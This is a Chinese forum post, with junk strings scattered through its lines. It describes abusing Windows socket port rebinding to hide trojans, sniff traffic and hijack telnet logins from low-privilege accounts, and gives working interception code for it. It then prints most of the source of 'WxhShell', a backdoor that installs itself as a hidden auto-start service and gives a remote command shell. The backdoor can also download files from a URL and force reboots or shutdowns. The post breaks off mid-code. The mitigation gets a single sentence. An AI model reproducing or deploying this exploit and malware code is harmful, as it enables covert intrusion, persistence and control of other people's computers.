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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0LTsWCUQ6e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A'D2uV  
?B`c <H"  
  saddr.sin_family = AF_INET; .3wx}!:*|  
.3SP# mI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! GtF%V  
-I z,vd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :c(I-xif  
dsK*YY jH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]4'V59\  
q4vHsy36  
  这意味着什么?意味着可以进行如下的攻击: '$4&q629d  
dIA1\;@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [(vV45(E  
IK8" 3+(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YpG6p0 nd  
67||wh.BU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 umpa!q};  
]w]:9w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YllW2g:  
1M?Sl?+j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gQeoCBCE  
#U vWS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cK IA.c}N  
2ppJ;P{k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *8/cd0  
<2LUq@Pg  
  #include > lI2r}  
  #include /8,cF7XL*  
  #include ^a|  
  #include    0&3zBL%Bo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -AQ 7Bd  
  int main() M(ie1Ju  
  { d7Z$/ $  
  WORD wVersionRequested; I]Z"?T  
  DWORD ret; ' R= OeH  
  WSADATA wsaData; M{=p0?X  
  BOOL val; &$h#9  
  SOCKADDR_IN saddr; {>Qs+]  
  SOCKADDR_IN scaddr; COxJ,v(  
  int err; vCtnjWGX}/  
  SOCKET s; \.F|c  
  SOCKET sc; 1R]h>'  
  int caddsize; q1A0-W#4  
  HANDLE mt; bOr6"nn  
  DWORD tid;   hy3?.  
  wVersionRequested = MAKEWORD( 2, 2 ); I@1VX5  
  err = WSAStartup( wVersionRequested, &wsaData ); yJ(ITJE_Z  
  if ( err != 0 ) { H.O&seY  
  printf("error!WSAStartup failed!\n"); y#nyH0U  
  return -1; Nig)!4CG  
  } 7!e kINQ  
  saddr.sin_family = AF_INET; z:08;}t  
   !1<>][F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JP]-a!5Ru  
c =Zurqj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m'2EiYX$}\  
  saddr.sin_port = htons(23); )-i(%;,*e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #BI6+rfv|  
  { , lBHA+@  
  printf("error!socket failed!\n"); }dEf |6_  
  return -1; Slp_o\s$@  
  } `Tr !Gj_  
  val = TRUE; %.:]4jhk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3B4C@ {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i}C%`1+(  
  { zB6&),[,v  
  printf("error!setsockopt failed!\n"); 9"dZ4{\!  
  return -1; //#]CsFiP  
  } OV-#8RXJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K48 QkZ_gY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wf&i{3z[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fn;Gq-^7@  
W)`H(J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f=>ii v  
  { V)mi1H|m  
  ret=GetLastError(); HZ89x|H k_  
  printf("error!bind failed!\n"); ZRUI';5x  
  return -1; f%%'M.is  
  } D)eRk0iC  
  listen(s,2); 6h&i<->  
  while(1) ~tB9kLFG  
  { `yM9XjEl>  
  caddsize = sizeof(scaddr); TEbE-h0)]  
  //接受连接请求 hNF,sA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %:Zp7O2UB'  
  if(sc!=INVALID_SOCKET) Lnl-han%  
  { >UV=k :Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B\>3[_n  
  if(mt==NULL) _9z+xl  
  { Fz]!2rt  
  printf("Thread Creat Failed!\n"); M:%Ll3  
  break; XE;aJ'kt  
  } rTeADu_vf  
  } "':SWKuMx  
  CloseHandle(mt); (U*Zz+ R   
  } e!4Kl:  
  closesocket(s); 9|>5;Ej  
  WSACleanup(); ,u   
  return 0; 31mlnDif  
  }   4Gsq)i17j  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;Y$d !an0  
  { ,fyqa  
  SOCKET ss = (SOCKET)lpParam; nY?X@avo>  
  SOCKET sc; L$; gf_L  
  unsigned char buf[4096]; D 6F /9|  
  SOCKADDR_IN saddr; Q0TKM >  
  long num; 6`)Ss5jzk  
  DWORD val; u6P U(f  
  DWORD ret; #s-li b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 * Vymb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &- ZRS/_d>  
  saddr.sin_family = AF_INET; C] |m|`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $)7Af6xD  
  saddr.sin_port = htons(23); |bjLmGb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,jMV # H[  
  { g)iw.M2  
  printf("error!socket failed!\n"); zfUkHL6  
  return -1; xf8.PqVNo  
  } rB3b  
  val = 100; B zr}+J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 58/\  
  { 2Zw]Uu`sb  
  ret = GetLastError(); suZ`  
  return -1; /S%!{;:  
  } |r53>,oR<:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CIf""gL9  
  { Xd 9<`gu  
  ret = GetLastError(); W7 9.,#  
  return -1; Bqb3[^;~  
  } M,N(be-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qAuq2pHA+d  
  { v5`Odbc=w  
  printf("error!socket connect failed!\n"); T q5F'@e  
  closesocket(sc); Q9 RCN<!  
  closesocket(ss); c]:@y"W5$  
  return -1; IeJ@G)  
  } "C [uz&  
  while(1) ]\:l><  
  { PX,fg5s\b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "yxBD 7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e irRAU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n/GJ&qLi:g  
  num = recv(ss,buf,4096,0);  %L gfi  
  if(num>0) vX}mwK8  
  send(sc,buf,num,0); }i2dXC/  
  else if(num==0) WFpR@53Db  
  break; ktK/s!bgY  
  num = recv(sc,buf,4096,0); 0d=<^wLi^  
  if(num>0) v:@ud,d<  
  send(ss,buf,num,0); gPWl#5P:  
  else if(num==0) Vq#_/23=$y  
  break; {X>U`0P  
  } F6#U31Q=  
  closesocket(ss); "_/5{Nc$  
  closesocket(sc); @EcY& mP)  
  return 0 ; BGVy \F<  
  } &8 4Izs/[  
[{9&KjI0K  
Q@#Gm9m  
========================================================== n0kkUc-`   
E{6X-C[)v  
下边附上一个代码,,WXhSHELL =u]FKY  
eFCXjM  
========================================================== -q/FxESp  
_yVF+\kQ  
#include "stdafx.h" +l_$}UN  
,=p.Cx'PR  
#include <stdio.h> _fANl}Mf:  
#include <string.h> \Rvsy;7  
#include <windows.h> f*~z|  
#include <winsock2.h> dCM*4B<  
#include <winsvc.h> F`YxH*tO7  
#include <urlmon.h> Z'z~40Bda  
S~ 3|  
#pragma comment (lib, "Ws2_32.lib") )Z2t=&Nw  
#pragma comment (lib, "urlmon.lib") <0I=XsE1iX  
t ~"DQq E  
#define MAX_USER   100 // 最大客户端连接数 ]6{\`a  
#define BUF_SOCK   200 // sock buffer E.~~.2   
#define KEY_BUFF   255 // 输入 buffer uu582%tiG  
B 9AE*  
#define REBOOT     0   // 重启 Sf0[^"7  
#define SHUTDOWN   1   // 关机 :7Q, `W9  
|qsY0zx  
#define DEF_PORT   5000 // 监听端口 o] 7U;W  
R!LKGiN  
#define REG_LEN     16   // 注册表键长度 ss>?fyA  
#define SVC_LEN     80   // NT服务名长度 abM4G  
)z?Kq0  
// 从dll定义API `+0)dTA(g$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yLlAK,5P0o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7'xds  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #`H^8/!e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c F (]`49(  
Z;JZ<vEt92  
// wxhshell配置信息 o<-+y\J8K  
struct WSCFG { (&u)F B*  
  int ws_port;         // 监听端口 2=l !b/m  
  char ws_passstr[REG_LEN]; // 口令 RycO8z*p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'u2Qq"d+  
  char ws_regname[REG_LEN]; // 注册表键名 QP e}rQnm  
  char ws_svcname[REG_LEN]; // 服务名 M^^u{);q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LvNk:99:<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zb7:qe<UN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  VSkx;P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qlg~W/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f V.(v&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AcF;5h  
^MWfFpJV!]  
}; s"?&`S  
T<0Bq"'%  
// default Wxhshell configuration a;Y9wn  
struct WSCFG wscfg={DEF_PORT, <ZNa`  
    "xuhuanlingzhe", *{)![pDYd  
    1, JPk3T.qp  
    "Wxhshell", ASLRP  
    "Wxhshell", O,[aL;v  
            "WxhShell Service", |C S[>0mV!  
    "Wrsky Windows CmdShell Service", yREO;m|o  
    "Please Input Your Password: ", EQ>bwEG  
  1, D] 2+<;>`>  
  "http://www.wrsky.com/wxhshell.exe", T+2I:W%  
  "Wxhshell.exe" :OBggb#?!  
    }; 9=I(AYG{m  
'F+O+-p+  
// 消息定义模块 Bd"7F{H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  N _r*Ig  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ki^[~JS>'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $(}kau  
char *msg_ws_ext="\n\rExit."; DD'<zL[  
char *msg_ws_end="\n\rQuit."; Z-H Kdv!d  
char *msg_ws_boot="\n\rReboot..."; i4!n Oyk  
char *msg_ws_poff="\n\rShutdown..."; $zz=>BOk  
char *msg_ws_down="\n\rSave to "; -ij1%#tz  
v(4C?vxhG  
char *msg_ws_err="\n\rErr!"; ( L RX  
char *msg_ws_ok="\n\rOK!"; gpr];lgS  
Hv0sl+  
char ExeFile[MAX_PATH]; p9_45u`u2  
int nUser = 0; A Sy7")5  
HANDLE handles[MAX_USER]; zAB-kE\ )  
int OsIsNt; [;5HI'px  
qg6Hk:^r  
SERVICE_STATUS       serviceStatus; XW]|Mv[M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %_SE$>v^  
?-\KVha  
// 函数声明 8N-~.p  
int Install(void); kC9A  
int Uninstall(void); `Xmpm4 ]  
int DownloadFile(char *sURL, SOCKET wsh); O t `}eL-  
int Boot(int flag); h/(9AO}t  
void HideProc(void); 3[aJ=5  
int GetOsVer(void); i$:CGUb  
int Wxhshell(SOCKET wsl); x_Ais&Gc  
void TalkWithClient(void *cs); Punbw\9!d,  
int CmdShell(SOCKET sock); HNjkRl)QR  
int StartFromService(void); 2 >xV&  
int StartWxhshell(LPSTR lpCmdLine); Gh|1%g"gm  
+S%@/q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <)n   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^#)OQq]  
 |Be.r{l  
// 数据结构和表定义 -R7f/a8  
SERVICE_TABLE_ENTRY DispatchTable[] = KS(T%mk\  
{ sQihyq6U;  
{wscfg.ws_svcname, NTServiceMain}, J;q3 fa  
{NULL, NULL} ]P<&CEk  
}; /e{Oqhf[n  
( v ~/glf  
// 自我安装 Z^GriL  
int Install(void) A7b7IM[  
{ )cs y^-qw  
  char svExeFile[MAX_PATH]; QTn-n)AE  
  HKEY key; KI>7h.t  
  strcpy(svExeFile,ExeFile); sCRBKCR?  
<U,T*Ql1x  
// 如果是win9x系统,修改注册表设为自启动 s^KxAw_IV  
if(!OsIsNt) { |+`hSA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W+K=M*^D;c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &*)tqQeQf  
  RegCloseKey(key); BTd'bD~EA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LK:|~UV?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rX{|]M":T  
  RegCloseKey(key); /CA)R26G  
  return 0; u5CT7_#)  
    } qo. 6T  
  } B|GJboQ  
} BxZop.zwE(  
else { ([9h.M6v  
TyBNRnkt  
// 如果是NT以上系统,安装为系统服务 \ I?;%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Le3S;SY&  
if (schSCManager!=0) dU&.gFw1  
{ aF;&#TsB  
  SC_HANDLE schService = CreateService "]NQTUb;  
  ( D 1hKjB&  
  schSCManager, xwRnrWd^6  
  wscfg.ws_svcname, ~AE034_N  
  wscfg.ws_svcdisp, QKP9*dz  
  SERVICE_ALL_ACCESS, D{l.WlA.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AV2q*  
  SERVICE_AUTO_START, Iiy:<c  
  SERVICE_ERROR_NORMAL, ]nQ$:%HP  
  svExeFile, _$bx4a  
  NULL,  q?^0 o\  
  NULL, ,jt098W  
  NULL, .nSupTyG  
  NULL, tm|lqa  
  NULL 5~44R@`  
  ); 5PPy+36<~  
  if (schService!=0) .gPsJ?b  
  { ~lF lv+,%  
  CloseServiceHandle(schService); e N-{  
  CloseServiceHandle(schSCManager); 3=<iGX"z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `-/l$A} U  
  strcat(svExeFile,wscfg.ws_svcname); (jm.vL&5j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ILO+=xU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LQh\j|e9  
  RegCloseKey(key); F d\XDc[g  
  return 0; V?O%kd  
    } o6y,M!p@  
  } y(]|jRo  
  CloseServiceHandle(schSCManager); dH/t|.%  
} :U:7iP:  
} z\E "={P&  
\=@r1[d  
return 1; Qr<%rU^{.  
} I| j tpv}  
R^2Uh$kk{A  
// 自我卸载 "{B ek<  
int Uninstall(void) o5D"<-=>  
{ H4m6H)KOG  
  HKEY key; 23f[i<4e  
PPqTmx5S  
if(!OsIsNt) { j^ _I{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3N bn|_`(  
  RegDeleteValue(key,wscfg.ws_regname); 4y1> !~f  
  RegCloseKey(key); 7>zKW?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?V{k\1A  
  RegDeleteValue(key,wscfg.ws_regname); kdUGmR0d  
  RegCloseKey(key); hKTg~y^  
  return 0; >4ct[fW+  
  }  `JE>GZ Y  
} Me}TW!GC  
} eTF8B<?  
else { PD}R7[".>  
_RW[]MN3*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); psZeu*/r  
if (schSCManager!=0) Hr+-ndH!Pq  
{ +_g T|vlU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S[a5k;8GL  
  if (schService!=0) da2[   
  { ILi5WuOYX  
  if(DeleteService(schService)!=0) { 0`!Q-G7  
  CloseServiceHandle(schService); baNfS  
  CloseServiceHandle(schSCManager); E~>6*_?  
  return 0; reA8=>b/  
  } `oMeR]~  
  CloseServiceHandle(schService); ya{>=  
  } }R1`ThTM  
  CloseServiceHandle(schSCManager); gr 5]5u  
} Qsntf.fT  
} P*PL6UQ  
f^)uK+:.  
return 1; +2zuIW.  
} Ib2@Wi   
KCk?)Qv  
// 从指定url下载文件 S(J\<)b  
int DownloadFile(char *sURL, SOCKET wsh) mei_aN7zW  
{ h6h1.lZ  
  HRESULT hr; u3wC}Zo  
char seps[]= "/"; ;-?ZI$  
char *token; {}pqxouE  
char *file; kppRQ Q*[  
char myURL[MAX_PATH]; +?iM$}8!U  
char myFILE[MAX_PATH]; <s-@!8*(  
Uxemlp%%*  
strcpy(myURL,sURL); 5b#6 Y  
  token=strtok(myURL,seps); * |HZ&}  
  while(token!=NULL)  j/9QV  
  { KupMndK  
    file=token; CjQ"oQw  
  token=strtok(NULL,seps); DLYZsWA,  
  } QWHy=(!  
$a\Uv0:xRx  
GetCurrentDirectory(MAX_PATH,myFILE); <} yp  
strcat(myFILE, "\\"); +^kxFQ(:  
strcat(myFILE, file); e(#IewKp  
  send(wsh,myFILE,strlen(myFILE),0); ?4ILl>*  
send(wsh,"...",3,0); B#aH\$_U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h_~|O [5|)  
  if(hr==S_OK) R*@[P g*  
return 0; jBv$^L  
else 2 1~7{#  
return 1; ]zyX@=mM  
L)lQ&z?  
} }[z<iij4  
v1r_Z($  
// 系统电源模块 )_v\{N  
int Boot(int flag) )@qup _M@  
{ *e<Eu>fW#&  
  HANDLE hToken; 5$oewjLO  
  TOKEN_PRIVILEGES tkp; ^MT9n  
"PyWo  
  if(OsIsNt) { 90T%T2K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M{xVkXc>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k=7Gr;;l=p  
    tkp.PrivilegeCount = 1; umjhG6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3u*hT T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0HR|aqPo  
if(flag==REBOOT) { MdH97L)L.0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i7nL_N  
  return 0; :wU_-{>>2  
} |= cCv_y  
else { voV:H[RD9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A=%k/  
  return 0; 90s;/y(  
} h}|6VJ@.  
  } 85D^@{  
  else { l RDxIuTK  
if(flag==REBOOT) { e3eVvl5]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {y-2  
  return 0; s=N#CE  
} .G}k/`a  
else { YOV :  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {7?9jEj  
  return 0; 5Lsm_"0  
} [q-;/ed  
} cJ(BiL-uF  
VLsh=v   
return 1; >5;N64]!)  
} JI"/N`-?;b  
oYz!O]j;a  
// win9x进程隐藏模块 MZ|\S/  
void HideProc(void) (=1q!c`  
{ [ -ISR7D  
B0oxCc/'sZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M$Fth*q{GD  
  if ( hKernel != NULL ) e?V,fzg  
  { ImIqD&a-h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x;]x_f z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k-"<{V  
    FreeLibrary(hKernel); ^m*3&x8  
  } =fl%8"%N&  
!?nu?  
return; v&fGCD\R  
} }YQ:6I  
&=6%>  
// 获取操作系统版本 <cYp~e%xIw  
int GetOsVer(void) .f>,6?   
{ Dg~ [#C-  
  OSVERSIONINFO winfo; S5N@\ x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3bH~';<  
  GetVersionEx(&winfo);  tPA:_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q] ^,vei  
  return 1; pOMgEEhfS  
  else _J,xT  
  return 0; flG=9~qcGQ  
} {FWyu5.  
R<_?W#$j  
// 客户端句柄模块 M>T[!*nTj  
int Wxhshell(SOCKET wsl) tBseqS3<  
{ OX+hZ<y  
  SOCKET wsh; Gn59 yG!4  
  struct sockaddr_in client; CtM'L   
  DWORD myID; w NH9WG  
gN?0m4[$i  
  while(nUser<MAX_USER) B7 HQR{t  
{ >uTPjR[  
  int nSize=sizeof(client); [Tb\woU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3jF|Ic  
  if(wsh==INVALID_SOCKET) return 1; -#aZF2z   
'M8aW!~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O)uOUB  
if(handles[nUser]==0) EJLQ&oH[  
  closesocket(wsh); vU!8`x)  
else  %[`a  
  nUser++; 3_W{T@T  
  } ]>D)#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <F7V=Er  
R:/ha(+  
  return 0; WmNYO,>  
} t?{B_Bf  
-`7$Qu 2  
// 关闭 socket !\;:36B#6  
void CloseIt(SOCKET wsh) T C8`JU=wV  
{ R \5Vq$Q  
closesocket(wsh); rJQ=9qn\  
nUser--; Jx$iwu  
ExitThread(0); .x}gg\  
} ;,XyN+2H  
,r=re!QI7  
// 客户端请求句柄 tz4 ]hF  
void TalkWithClient(void *cs) , T\-;7  
{ ~c* UAowS  
T%(C-Quh  
  SOCKET wsh=(SOCKET)cs; \"x>JW4w  
  char pwd[SVC_LEN]; :)IV!_>'d  
  char cmd[KEY_BUFF]; /L&M,OUcr.  
char chr[1]; cy|%sf`  
int i,j; SfW}"#L>5  
L-\ =J  
  while (nUser < MAX_USER) { jl}$HEI5m}  
d(7NO;S8  
if(wscfg.ws_passstr) { /v#)f-N%zs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #cU^U#;=r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AW~"yI<  
  //ZeroMemory(pwd,KEY_BUFF); sDC*J \X  
      i=0; .!RavEg+  
  while(i<SVC_LEN) { `~h4D(n`  
#`ls)-`7  
  // 设置超时 {)@D`{$  
  fd_set FdRead; m`6VKp{YD  
  struct timeval TimeOut; [i7YVwG4  
  FD_ZERO(&FdRead); uWjU OJEe  
  FD_SET(wsh,&FdRead); zizk7<?L .  
  TimeOut.tv_sec=8; l Y'N4x7n  
  TimeOut.tv_usec=0; rk|@B{CA;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zx{96G+1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bik*ZC?E  
7I}P*%(f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #BY`h~&T  
  pwd=chr[0]; #@qN8J}R  
  if(chr[0]==0xd || chr[0]==0xa) { SfB8!V|;  
  pwd=0; >7b)y  
  break; s0C:m  
  } kl}Xmw{tJ  
  i++; >jx.R  
    } 3fr^ T  
OgCy4_a[f  
  // 如果是非法用户,关闭 socket "aq'R(/`c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p&N#_dmlH  
} oyx^a9  
E m{aM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XOy2lJ/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w%a8XnW]1  
~/-eyxLTm  
while(1) { -rSIBc:$8  
{f DTSr?/  
  ZeroMemory(cmd,KEY_BUFF); vF4]ux&  
U \oy8FZ  
      // 自动支持客户端 telnet标准   kV&9`c+  
  j=0; aeP[+I9  
  while(j<KEY_BUFF) { cpZc9;@IC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7J*N_8?2  
  cmd[j]=chr[0]; ?+2b(2&MXE  
  if(chr[0]==0xa || chr[0]==0xd) { PmX2[7  
  cmd[j]=0; sL^yB  
  break; U|@V 74  
  } h7yqk4'Lq  
  j++; }-DE`c  
    } izZ=d5+K  
06 mlj6hV  
  // 下载文件 4Ysb5m)u  
  if(strstr(cmd,"http://")) { m:+8J,jW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )9v`f9X){  
  if(DownloadFile(cmd,wsh)) `BY&>WY[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uQqWew8l+  
  else Pbu{'y3J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v?:: |{  
  } oPQtGl p  
  else { [xZU!=  
)R2XU  
    switch(cmd[0]) { OJO!FH)  
  SO f{Hx0C6  
  // 帮助 ZKpvDH'  
  case '?': { y 9l*m~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O4iC]5@  
    break; rN/| (@  
  } /JJw 6[ N  
  // 安装 n,'OiVl[  
  case 'i': { h9s >LY  
    if(Install()) FMw&(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>/%X!RW  
    else \2C`<h$fN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _D, ;MB&7  
    break; NjuiD].  
    } R^#@lI~  
  // 卸载 OE`X<h4r  
  case 'r': { SA"p\}"  
    if(Uninstall()) <|B1wa:|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q \hY7Xq'  
    else s)J(/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #qBr/+b  
    break; OO) ~HV4\  
    } +IFw_3$  
  // 显示 wxhshell 所在路径 /=?x{(B>  
  case 'p': { q2aYEuu,  
    char svExeFile[MAX_PATH]; N)2f7j4C &  
    strcpy(svExeFile,"\n\r"); Z.PBu|Kx  
      strcat(svExeFile,ExeFile); *fMpZ+;[m  
        send(wsh,svExeFile,strlen(svExeFile),0); AyKMhac  
    break; ?~e3 &ux  
    } fwR_OB: $  
  // 重启 7- d.ZG  
  case 'b': { wK_]/Q-L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z8O n%Mx{"  
    if(Boot(REBOOT)) `)iY}Iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &[Xu!LP  
    else { fV>CZ^=G  
    closesocket(wsh); k?B[>aQn.0  
    ExitThread(0); )!bUR\  
    } |SZo' 6  
    break; tRb] 7 z  
    } eV^d6T$  
  // 关机 "r4AY  
  case 'd': { N2r/ho}8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uN*KHE+h  
    if(Boot(SHUTDOWN)) ;bzX% f?|G  
